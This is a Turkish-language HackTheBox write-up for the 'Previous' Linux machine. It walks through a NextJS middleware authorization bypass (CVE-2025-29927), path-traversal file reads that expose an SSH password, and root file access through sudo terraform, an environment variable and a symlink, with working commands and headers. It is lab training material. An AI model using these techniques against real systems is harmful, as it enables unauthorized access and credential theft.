5 dakika
Previous - HackTheBox
Ön Bilgi #
Makine Bilgisi #
Zorluk: Medium
Tip: Linux
Link: Previous
Özet #
Previous makinesinde NextJS middleware bypass (CVE-2025-29927) ile yetkili sayfalara erişildi ve path traversal ile kullanıcı (jeremy) bilgileri alınıp SSH ile user flag elde edildi. sudo ile terraform komutu root yetkisiyle çalıştırılarak symlink ve ortam değişkeni enjeksiyonu ile root flag alındı.
Çözüm #
Bilgi Toplama #
nmap sonuçlarına baktığımızda 22 portunda güncel bir ssh sunucusu ve 80
portunda ise güncel bir web sunucusu görüyoruz. Aynı zamanda TTL değerlerine
baktığımızda 63 olduğunu görüyoruz ve bu da makinenin linux makinesi olduğuna
dair güçlü bir bilgi veriyor.
┌─[xenon@parrot]─[~/ctf/Previous]
└──╼ $cat nmap/nmap.nmap
# Nmap 7.94SVN scan initiated Fri Oct 31 18:54:25 2025 as: nmap -sC -sV -oA nmap/nmap 10.129.71.88
Nmap scan report for 10.129.71.88
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 31 18:54:33 2025 -- 1 IP address (1 host up) scanned in 7.92 seconds
nmap üzerinde gördüğüm şekilde web sitesi bizi makineni de adı olan previous.htb
adresine yönlendiriyor. Bu domaini /etc/hosts dosyamıza ekliyoruz ve web sitesi
üzerinde bilgi toplamak üzere siteyi araştırıyoruz.
Web Sitesi #
Öncelikle arkaplanda çalışması için gobuster ile sitenin giriş yapabileceğiz adreslerini araştırıyoruz: gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -u http://previous.htb/ -o gobuster.out
Aynı zamanda ffuf aracı ile sub-domain taraması yapıyoruz: ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://previous.htb -H 'Host: FUZZ.previous.htb' -fs 154 -o ffuf.out
Siteye web tarayıcısı ile giriş yapıp wappalyzer plugin’i aracılığıyla kullanılan web teknolojisine baktığımızda
sitenin NextJS v15.2.2 versiyonu ile yazılmış olduğunu görüyoruz. Aynı zamanda sitenin alt tarafında ‘Contact’ adı altında jeremy kullanıcının varlığını görüyoruz,
daha sonra ihtiyacımız olma ihtimaline karşın notlarımız arasına kaydediyoruz.
Sitenin ortasında Get Started ve Docs linklerini görüyoruz ancak bu linklere tıkladığımızda bizi giriş sayfasına yönlendirmektedir.
NextJS’in bu versiyonu için internette zafiyet araması yaptığımızda CVE-2025-29927 Authorization Bypass zafiyeti olduğunu öğreniyoruz.
CVE-2025-29927 #
Bu CVE’yi araştırdığımızda NextJS middleware’sinin x-middleware-subrequest headerine göre
authentication durumunu kontrol ettiğini ve buna göre izin verip vermediğini anlıyoruz.
Sorun ise bu headeri user verdiği taktirde ve middleware’ye kadar gelmeyi başarırsa
NextJS, request’in authenticated olduğunu düşünüyor.
Bizim kullanacağımız header ise x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware olacaktır.
Bu headeri burpsuite ile Proxy/Match and replace özelliği ile requestlerime ekliyorum ve siteye tekrar gidiyorum.
Yetkili Sayfası #
Artık sitenin yetkili kişilerinin erişebileceği /docs ve /api noktalarına erişebiliyorum.
Burada docs kısmında ‘Getting Started’ ve ‘Examples’ isimleriyle iki kısım bulunmaktadır.
Getting Started sayfasında kayda değer bir şey bulunmamaktadır, Examples kısmında ise ‘Hello World’ örneği vardır ve bununla birlikte indirme linki bulunmaktadır.
Arbitrary File Read #
İndirme butonu /api/download?example=hello-world.ts uçnoktasından dosyayı indirmektedir.
Burada example parametresini değiştirerek Arbitrary File Read zafiyetini kontrol ediyorum.
Basit bir path traversal example=../../../etc/passwd ile passwd dosyasını indirebiliyorum.
Bu noktadan sonra yapmam gereken şey File Read ile sistemi çözümlemek ve daha fazla bilgi almak olucak.
Öncelikte Next projesinin dizinini bulmak için package.json dosyasına erişmeye çalışıyorum,
../../package.json ile bu dosyaya erişiyorum; bu, sayede proje dizininin ../../ olduğunu öğreniyorum.
Projenin next start ile başlatıldıktan sonra oluşturulan dosyalara erişmek için üretilmiş .next klasörünün
yapısını araştırıyorum ve sitenin kaynak kodunu elde etmeye çalışıyorum.
İlk Erişim #
Biraz araştırma ve deneme-yanılmadan sonra .next/server/pages/api/auth/[...nextauth].js dosyasını buluyorum.
Örnek curl komutu:
┌─[✗]─[xenon@parrot]─[~/ctf/Previous/app]
└──╼ $curl -sq 'http://previous.htb/api/download?example=../../.next/server/pages/api/auth/\[...nextauth\].js' \
> -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' > nextauth.js
Bu dosya içerisinde jeremy kullanıcısının şifresini buluyoruz ve bu şifreyi kullanarak ssh bağlantısı kuruyoruz ve ilk flag’ımızı alıyoruz.
jeremy@previous:~$ wc -c user.txt
33 user.txt
Yetki Yükseltme #
Sistem üzerinde sudo -l yaptığımızda root kullanıcısı olarak /usr/bin/terraform -chdir\=/opt/examples apply
komutunu çalıştırabileceğimiz görüyoruz, bununla birlikte !env_reset flag’ı ile bu komutu çalıştırırken
ortam değişkenlerini koruduğumuzu, değişkenlerin sıfırlanmadığını görüyoruz.
!env_reset #
!env_reset flag’ı sudo içerisinde varsa genellikle bash script’i gibi script’lerin
eğer execute edeceği binary’lerin değiştirerek istediğimiz binary’yi çalıştırabiliyoruzç
Örnek olarak eğer bir script içinde ’tool’ isimli farazi tool relative olarak verildiyse,
yani /bin/tool -x yerine tool -x şeklinde kullanıldıysa sistem bu ’tool’u PATH ortam
değişkenimizde arar, bu değişkende bulunduğumuz ortamı öne koyup orada tool isimli
bir binary oluşturup kendi kodumuzu çalıştırabiliriz.
Ancak bu makine’yi bu şekilde tamamlamayacağız.
Terraform #
Bu binary ile araştırma yaptığımızda bir tür sistem ortamı test etme tool’u olduğunu görüyoruz.
GTFOBins üzerinde araştırdığımızda kullanabileceğimiz hazır bir seçenek göremiyoruz, bu yüzden daha fazla araştırma yapmamız gerekiyor.
Kullanmamıza izin verdiği /opt/examples klasörüne girdiğimizde birkaç başka dosya ile birlikte
main.tf dosyasını görüyoruz.
jeremy@previous:/dev/shm$ cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
Bu konfigürasyon dosyasında gördüğümüz üzere ‘source_path’ değişkeninden aldığı path’ı
“/home/jeremy/docker/previous/public/examples/hello-world.ts” üzerine kopyalamaktadır.
Eğer bu değişleni /root/root.txt‘yi gösterecek şekilde değiştirirsek istediğimiz dosyaya erişebiliriz.
Bunun için terraform’un bir özelliği olan ortam değişkenleri üzerinden değişken aktarmayı kullanacağız.
Dökümantasyon sayfasında da yazdığı
üzere TF_VAR_name=value ortam değişkeni ile birlikte sisteme değişken aktarabiliriz, zaten daha öncesinde de
dikkat ettiğimiz üzere !env_reset flag’ı ile birlikte uyguladığımız ortam değişkenlerinin değişmeyeceğini biliyoruz.
Ancak validation kısmında da gördüğümüz üzere direkt ../../root/root yazarsak iki engele takılacak.
Verdiğimiz parametrede hem .. olmamalı hem de /root/examples olmalı.
Bunu sağlamak için lnleri kullanacağız.
Exploit #
Linux dosya sisteminde symbolic link’ler ile birlikte bir dosyayı başka bir dosyaya işaret edecek şekilde oluşturabiliriz.
Bunun için ln -s <target> <link> komutu ile targete işaret eden dosyayı link olarak oluşturabiliyoruz.
Bizim yazacağımız link ile /root/root.txt dosyasını gösterecektir, link olarak ise /dev/shm/root/examples/flag.txtyi kullanacağız.
Bu sayede hem .. kullanmadan hem de /root/examples kullanarak istediğimiz /root/root.txt dosyasına işaret edeceğiz.
terraform binary’sine de bu link’i vereceğiz, open syscall’ı bu symlink’i takip edecek ve bize flag’ı verecek.
jeremy@previous:/dev/shm/root/examples$ ln -s /root/root.txt /dev/shm/root/examples/flag.txt
jeremy@previous:/dev/shm/root/examples$ ls -la
total 0
drwxrwxr-x 2 jeremy jeremy 60 Oct 31 21:00 .
drwxrwxr-x 3 jeremy jeremy 60 Oct 31 21:00 ..
lrwxrwxrwx 1 jeremy jeremy 14 Oct 31 21:00 flag.txt -> /root/root.txt
jeremy@previous:/dev/shm/root/examples$ TF_VAR_source_path=/dev/shm/root/examples/flag.txt sudo terraform -chdir=/opt/examples apply
Komutu çalıştırıp onay verdikten sonra flag dosyamıza erişebiliyoruz.
jeremy@previous:/dev/shm/root/examples$ wc -c /home/jeremy/docker/previous/public/examples/flag.txt
33 /home/jeremy/docker/previous/public/examples/flag.txt
htb previous ctf writeup machine NextJS next auth-bypass CVE-2025-29927 terraform
1029 Kelime
2025-10-29 00:00